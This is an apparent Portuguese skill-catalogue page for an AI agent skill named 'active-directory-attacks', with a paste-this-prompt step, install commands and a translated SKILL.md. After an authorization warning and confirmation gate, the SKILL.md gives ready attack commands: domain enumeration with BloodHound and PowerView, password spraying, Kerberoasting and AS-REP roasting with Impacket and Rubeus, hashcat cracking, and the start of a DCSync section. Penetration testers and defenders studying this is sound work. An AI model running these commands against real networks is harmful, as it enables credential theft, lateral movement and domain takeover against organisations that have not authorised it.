Pular para o conteúdo
Skillpedia
Testes48 mil · #2028

active-directory-attacks

Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.

O que ela faz

Esta skill ajuda a entender e praticar como atacar sistemas Microsoft Active Directory. Ela ensina técnicas para encontrar informações, roubar senhas e ganhar controle sobre a rede.

Quando usar

  • ✓Para aprender sobre segurança de redes em ambientes de teste.
  • ✓Para validar a segurança de uma rede com permissão.
  • ✓Para simular ataques em laboratórios controlados.

Exemplo do que pedir para a IA

“Como posso usar o BloodHound para encontrar caminhos de ataque no Active Directory?”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/active-directory-attacks/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/active-directory-attacks/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A skill usa ferramentas específicas para explorar o Active Directory. Ela coleta informações sobre usuários e computadores, tenta descobrir senhas e usa essas informações para se mover pela rede e obter privilégios mais altos.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill active-directory-attacks

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/active-directory-attacks/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas para leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

<!-- security-allowlist: credential-extraction, kerberos-attacks -->

Ataques ao Active Directory

Propósito

Fornecer técnicas abrangentes para atacar ambientes Microsoft Active Directory. Cobre reconhecimento, coleta de credenciais, ataques Kerberos, movimento lateral, escalonamento de privilégios e domínio de domínio para operações de equipe vermelha e testes de penetração.

Entradas/Pré-requisitos

  • Kali Linux ou plataforma de ataque Windows
  • Credenciais de usuário de domínio (para a maioria dos ataques)
  • Acesso à rede ao Controlador de Domínio
  • Ferramentas: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

Saídas/Entregas

  • Dados de enumeração de domínio
  • Credenciais e hashes extraídos
  • Tickets Kerberos para personificação
  • Acesso de Administrador de Domínio
  • Mecanismos de acesso persistente

Ferramentas Essenciais

Ferramenta Propósito
BloodHound Visualização de caminhos de ataque AD
Impacket Ferramentas de ataque AD em Python
Mimikatz Extração de credenciais
Rubeus Ataques Kerberos
CrackMapExec Exploração de rede
PowerView Enumeração AD
Responder Envenenamento LLMNR/NBT-NS

Fluxo de Trabalho Principal

Etapa 1: Sincronização do Relógio Kerberos

O Kerberos requer sincronização de relógio (±5 minutos):

# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>

Etapa 2: Reconhecimento AD com BloodHound

# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

Etapa 3: Enumeração com PowerView

# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth

Ataques de Credenciais

Ataque de Senha em Massa (Password Spraying)

# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

Extraia tickets TGS de contas de serviço e quebre offline:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

Alvo de contas com "Não exigir pré-autenticação Kerberos":

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt

Ataque DCSync

Extraia credenciais diretamente do DC (requer direitos de Replicar Alterações de Diretório):

# Impacket

…
Perguntas frequentes

Preciso de permissão para usar esta skill?

Sim, você precisa de permissão explícita e por escrito do dono do sistema antes de usar esta skill. O uso não autorizado é ilegal.

Quais ferramentas são usadas?

Ferramentas como BloodHound, Mimikatz, Impacket e PowerView são usadas para coletar informações, extrair credenciais e executar ataques.

O que é 'Kerberoasting'?

É uma técnica para extrair informações de contas de serviço e tentar descobrir suas senhas offline.

Detalhes

Descrição original do autor

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#2028
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas